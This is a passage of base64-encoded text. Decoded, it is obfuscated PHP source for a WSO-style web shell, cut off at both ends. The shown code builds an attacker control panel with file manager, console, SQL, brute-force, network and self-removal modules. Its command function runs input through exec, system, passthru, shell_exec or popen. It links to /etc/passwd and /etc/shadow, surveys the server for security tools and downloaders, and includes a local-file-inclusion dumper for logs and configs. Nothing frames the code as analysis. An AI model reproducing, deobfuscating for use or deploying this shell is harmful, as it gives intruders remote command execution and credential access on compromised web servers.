ZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOyANCiAgICAkMnB0X2NoMXJzNXRzID0gJyc7IA0KICAgIGYycjUxY2goJGNoMXJzNXRzIDFzICQ0dDVtKSANCiAgICAgICAgJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOyANCiAgDQogICAgJG0gPSAxcnIxeSgnUzVjIEluZjInPT4nUzVjSW5mMicsJ0Y0bDVzJz0+J0Y0bDVzTTFuJywnRXg1Yyc9PidDMm5zMmw1JywnU3FsJz0+J1NxbCcsJ1BIUCBUMjJscyc9PidwaHB0MjJscycsJ0xGSSc9PidsZjRzYzFuJywnUGhwJz0+J1BocCcsJ1MxZjUgbTJkNSc9PidTMWY1TTJkNScsJ1N0cjRuZyB0MjJscyc9PidTdHI0bmdUMjJscycsJ1hTUyBTaDVsbCc9PidYU1NTaDVsbCcsJ0JyM3Q1ZjJyYzUnPT4nQnIzdDVmMnJjNScsJ041dHcycmsnPT4nTjV0dzJyaycpOyANCiAgICA0ZighNW1wdHkoJEdMT0JBTFNbJzEzdGhfcDFzcyddKSkgDQogICAgICAgICRtWydMMmcyM3QnXSA9ICdMMmcyM3QnOyANCiAgICAkbVsnUzVsZiByNW0ydjUnXSA9ICdTNWxmUjVtMnY1JzsgDQogICAgJG01bjMgPSAnJzsgDQogICAgZjJyNTFjaCgkbSAxcyAkayA9PiAkdikgDQogICAgICAgICRtNW4zIC49ICc8dGggdzRkdGg9IicuKDRudCkoNjAwL2MyM250KCRtKSkuJyUiPls8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnJy4kdi4nXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvMT5dPC90aD4nOyANCiAgDQogICAgJGRyNHY1cyA9ICIiOyANCiAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAndzRuJykgeyANCiAgICAgICAgZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpIA0KICAgICAgICA0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkgDQogICAgICAgICAgICAkZHI0djVzIC49ICc8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJGRyNHY1Lic6L1wnKSI+WyAnLiRkcjR2NS4nIF08LzE+ICc7IA0KICAgIH0gDQogICAgNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPlVuMW01Ojxicj5VczVyOjxicj5QaHA6PGJyPkhkZDo8YnI+Q3dkOicgLiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bic/Jzxicj5EcjR2NXM6JzonJykgLiAnPC9zcDFuPjwvdGQ+Jw0KICAgICAgIC4gJzx0ZD48bjJicj4nIC4gczNic3RyKEBwaHBfM24xbTUoKSwgMCwgNmEwKSAuICcgPC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+R3IyM3A6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50Pic6JzxmMm50IGMybDJyPSMwMGJiMDA+PGI+T0ZGPC9iPjwvZjJudD4nKSANCiAgICAgICAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT4gPHNwMW4+RDF0NXQ0bTU6PC9zcDFuPiAnIC4gZDF0NSgnWS1tLWQgSDo0OnMnKSAuICc8YnI+JyAuIHdzMlY0NXdTNHo1KCR0MnQxbFNwMWM1KSAuICcgPHNwMW4+RnI1NTo8L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PGJyPicgLiAkZHI0djVzIC4gJzwvdGQ+Jw0KICAgICAgIC4gJzx0ZCB3NGR0aD02IDFsNGduPXI0Z2h0PjxuMmJyPjxzNWw1Y3QgMm5jaDFuZzU9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudjFsMzUpIj48MnB0Z3IyM3AgbDFiNWw9IlAxZzUgY2gxcnM1dCI+JyAuICQycHRfY2gxcnM1dHMgLiAnPC8ycHRncjIzcD48L3M1bDVjdD48YnI+PHNwMW4+UzVydjVyIElQOjwvc3Axbj48YnI+JyAuIEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSAuICc8YnI+PHNwMW4+Q2w0NW50IElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7IA0KfSANCiAgDQpmM25jdDQybiB3czJGMjJ0NXIoKSB7IA0KICAgICQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IiA8ZjJudCBjMmwycj0nI2FpZmYwMCc+KFdyNHQ1MWJsNSk8L2YybnQ+IjoiIDxmMm50IGMybDJyPXI1ZD4oTjJ0IHdyNHQxYmw1KTwvZjJudD4iOyANCiAgICA1Y2gyICIgDQogIA0KPC9kNHY+IA0KPHQxYmw1IGNsMXNzPTRuZjIgNGQ9dDIybHNUYmwgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCUgIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vO2IycmQ1ci1iMnR0Mm06YXB4IHMybDRkICNvb287Jz4gDQogICAgPHRyPiANCiAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PSdnKG4zbGwsdGg0cy5jLnYxbDM1LFwiXCIpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkNoMW5nNSBkNHI6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+UjUxZCBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgPC90cj48dHI+IA0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZDRyOjwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1LCdta2Y0bDUnKTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogIA0KICAgIDwvdHI+PHRyPiANCiAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PVwiZygnQzJuczJsNScsbjNsbCx0aDRzLmMudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5FeDVjM3Q1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSBtNXRoMmQ9J3Ayc3QnIEVOQ1RZUEU9J20zbHQ0cDFydC9mMnJtLWQxdDEnPiANCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPiANCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+IA0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0nM3BsMjFkRjRsNSc+IA0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4gDQogICAgICAgIDxzcDFuPlVwbDIxZCBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4gDQogIA0KICAgIDwvdHI+PC90MWJsNT48L2Q0dj48L2IyZHk+PC9odG1sPiI7IA0KfSANCiAgDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgeyANCiAgICBmM25jdDQybiBwMnM0eF9nNXRwdzM0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0gDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0Z3JnNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0Z3JnNGQnKT09PWYxbHM1KSkgeyANCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0gDQogIA0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7IA0KICAgICQyM3QgPSAnJzsgDQogICAgNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7IA0KICAgICAgICBANXg1YygkNG4sJDIzdCk7IA0KICAgICAgICAkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsgDQogICAgfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgeyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIEBwMXNzdGhyMygkNG4pOyANCiAgICAgICAgJDIzdCA9IDJiX2c1dF9jbDUxbigpOyANCiAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgeyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIEBzeXN0NW0oJDRuKTsgDQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsgDQogICAgfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7IA0KICAgICAgICAkMjN0ID0gc2g1bGxfNXg1YygkNG4pOyANCiAgICB9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7IA0KICAgICAgICAkMjN0ID0gIiI7IA0KICAgICAgICB3aDRsNSghQGY1MmYoJGYpKSANCiAgICAgICAgICAgICQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7IA0KICAgICAgICBwY2wyczUoJGYpOyANCiAgICB9IA0KICAgIHI1dDNybiAkMjN0OyANCn0gDQpmM25jdDQybiB3czJWNDV3UzR6NSgkcykgeyANCiAgICA0ZigkcyA+PSA2MDdvN3U2OGF1KSANCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MDdvN3U2OGF1ICkuICcgR0InOyANCiAgICA1bHM1NGYoJHMgPj0gNjB1OGk3ZSkgDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7IA0KICAgIDVsczU0ZigkcyA+PSA2MGF1KSANCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsgDQogICAgNWxzNQ0KICAgICAgICByNXQzcm4gJHMgLiAnIEInOyANCn0gDQogIA0KZjNuY3Q0Mm4gd3MyUDVybXMoJHApIHsgDQogICAgNGYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSQ0ID0gJ3MnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4ZTAwMCkgPT0gMHhlMDAwKSQ0ID0gJ2InOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSQ0ID0gJ3AnOyANCiAgICA1bHM1ICQ0ID0gJzMnOyANCiAgICAkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOyANCiAgICAkNCAuPSAoKCRwICYgMHgwMDYwKSA/ICd3JyA6ICctJyk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDAwYSkgPyAndycgOiAnLScpOyANCiAgICAkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOyANCiAgICByNXQzcm4gJDQ7IA0KfSANCiAgDQpmM25jdDQybiB3czJQNXJtc0MybDJyKCRmKSB7IA0KICAgIDRmICghQDRzX3I1MWQxYmw1KCRmKSkgDQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9I0ZGMDAwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCiAgICA1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKSANCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCiAgICA1bHM1DQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9IzAwQkIwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCn0gDQogIA0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7IA0KICAgIGYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgeyANCiAgICAgICAgJGRoICA9IDJwNW5kNHIoJGQ0cik7IA0KICAgICAgICB3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKSANCiAgICAgICAgICAgICRmNGw1c1tdID0gJGY0bDVuMW01OyANCiAgICAgICAgcjV0M3JuICRmNGw1czsgDQogICAgfSANCn0gDQogIA0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsgDQogICAgJHAxdGggPSB3czJFeCgnd2g0Y2ggJyAuICRwKTsgDQogICAgNGYoITVtcHR5KCRwMXRoKSkgDQogICAgICAgIHI1dDNybiAkcDF0aDsgDQogICAgcjV0M3JuIGYxbHM1OyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuUzVjSW5mMigpIHsgDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5TNXJ2NXIgczVjM3I0dHkgNG5mMnJtMXQ0Mm48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOyANCiAgICBmM25jdDQybiB3czJTNWNQMXIxbSgkbiwgJHYpIHsgDQogICAgICAgICR2ID0gdHI0bSgkdik7IA0KICAgICAgICA0ZigkdikgeyANCiAgICAgICAgICAgIDVjaDIgJzxzcDFuPicgLiAkbiAuICc6IDwvc3Axbj4nOyANCiAgICAgICAgICAgIDRmKHN0cnAycygkdiwgIlxuIikgPT09IGYxbHM1KSANCiAgICAgICAgICAgICAgICA1Y2gyICR2IC4gJzxicj4nOyANCiAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPW1sNj4nIC4gJHYgLiAnPC9wcjU+JzsgDQogICAgICAgIH0gDQogICAgfSANCiAgDQogICAgd3MyUzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsgDQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSkgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdMMjFkNWQgQXAxY2g1IG0yZDNsNXMnLCA0bXBsMmQ1KCcsICcsIDFwMWNoNV9nNXRfbTJkM2w1cygpKSk7IA0KICAgIHdzMlM1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10/JEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ106J24ybjUnKTsgDQogICAgd3MyUzVjUDFyMW0oJ09wNW4gYjFzNSBkNHInLCBANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpOyANCiAgICB3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDV4NWMgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV81eDVjX2Q0cicpKTsgDQogICAgd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA0bmNsM2Q1IGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSk7IA0KICAgIHdzMlM1Y1AxcjFtKCdjVVJMIHMzcHAycnQnLCBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpPyc1bjFibDVkJzonbjInKTsgDQogICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9nNXRfY2w0NW50XzRuZjInKSkgDQogICAgICAgICR0NW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZzV0X2NsNDVudF80bmYyKCkuIikiOyANCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiTVNTUUwiOyANCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiUDJzdGdyNVNRTCI7IA0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiT3IxY2w1IjsgDQogICAgd3MyUzVjUDFyMW0oJ1MzcHAycnQ1ZCBkMXQxYjFzNXMnLCA0bXBsMmQ1KCcsICcsICR0NW1wKSk7IA0KICAgIDVjaDIgJzxicj4nOyANCiAgDQogICAgNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ240eCcpIHsgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3Axc3N3ZCcsIEA0c19yNTFkMWJsNSgnLzV0Yy9wMXNzd2QnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJwMXNzd2RcIiknPlt2NDV3XTwvMT4iOiduMicpOyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ09TIHY1cnM0Mm4nLCBAZjRsNV9nNXRfYzJudDVudHMoJy9wcjJjL3Y1cnM0Mm4nKSk7IA0KICAgICAgICB3czJTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7IA0KICAgICAgICA0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7IA0KICAgICAgICAgICAgJDNzNXJmM2wgPSAxcnIxeSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ20xazUnLCdwaHAnLCdwNXJsJywncHl0aDJuJywncjNieScsJ3QxcicsJ2d6NHAnLCdiejRwJywnYno0cGEnLCduYycsJ2wyYzF0NScsJ3MzNGRwNXJsJyk7IA0KICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7IA0KICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7IA0KICAgICAgICAgICAgNWNoMiAnPGJyPic7IA0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgICAgICAgICBmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkgDQogICAgICAgICAgICAgICAgNGYod3MyV2g0Y2goJDR0NW0pKSANCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOyANCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7IA0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgICAgICAgICBmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKSANCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpIA0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOyANCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7IA0KICAgICAgICAgICAgZjJyNTFjaCAoJGQyd25sMjFkNXJzIDFzICQ0dDVtKSANCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpIA0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qyd25sMjFkNXJzJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7IA0KICAgICAgICAgICAgNWNoMiAnPGJyLz4nOyANCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0gyc3RzJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjL2gyc3RzJykpOyANCiAgICAgICAgfSANCiAgICB9IDVsczUgeyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ09TIFY1cnM0Mm4nLHdzMkV4KCd2NXInKSk7IA0KICAgICAgICB3czJTNWNQMXIxbSgnQWNjMjNudCBTNXR0NG5ncycsd3MyRXgoJ241dCAxY2MyM250cycpKTsgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7IA0KICAgIH0gDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCmYzbmN0NDJuIDFjdDQybmxmNHNjMW4oKSB7IA0KICAgIHdzMkg1MWQ1cigpOyANCiAgICBwcjRudCAnIA0KICAgPGhvPkw1ZC1aNXBwNWw0blwncyBMRkkgRjRsNSBkM21wNXI8L2hvPiANCiAgDQogICA8ZjJybSBtNXRoMmQ9InAyc3QiIDFjdDQybj0iPyI+PDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iMSIgdjFsMzU9ImxmNHNjMW4iPiANCiAgICAgIExGSSBVUkw6IDw0bnAzdCB0eXA1PSJ0NXh0IiBzNHo1PSJlMCIgbjFtNT0ibGY0M3JsIiB2MWwzNT0iIj4gPDRucDN0IHR5cDU9InMzYm00dCIgdjFsMzU9IkcyIj4gRjRsNTogPHM1bDVjdCBuMW01PSJzYzFudHlwNSI+IA0KICAgICAgICAgPDJwdDQybiB2MWwzNT0iNiI+IA0KICAgICAgICAgICAgQWNjNXNzIEwyZyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSJhIj4gDQogICAgICAgICAgICBodHRwZC5jMm5mIA0KICAgICAgICAgPC8ycHQ0Mm4+IA0KICANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9Im8iPiANCiAgICAgICAgICAgIEVycjJyIEwyZyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9InUiPiANCiAgICAgICAgICAgIHBocC40bjQgDQogICAgICAgICA8LzJwdDQybj4gDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSJpIj4gDQogICAgICAgICAgICBNeVNRTCANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9ImUiPiANCiAgICAgICAgICAgIEZUUCANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9IjciPiANCiAgICAgICAgICAgIEVudjRyMm4gDQogICAgICAgICA8LzJwdDQybj4gDQogICAgICA8L3M1bDVjdD4gTjNsbDogPHM1bDVjdCBuMW01PSJuM2xsIj4gDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSIlMDAiPiANCiAgICAgICAgICAgIFk1cyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSIiPiANCiAgICAgICAgICAgIE4yIA0KICAgICAg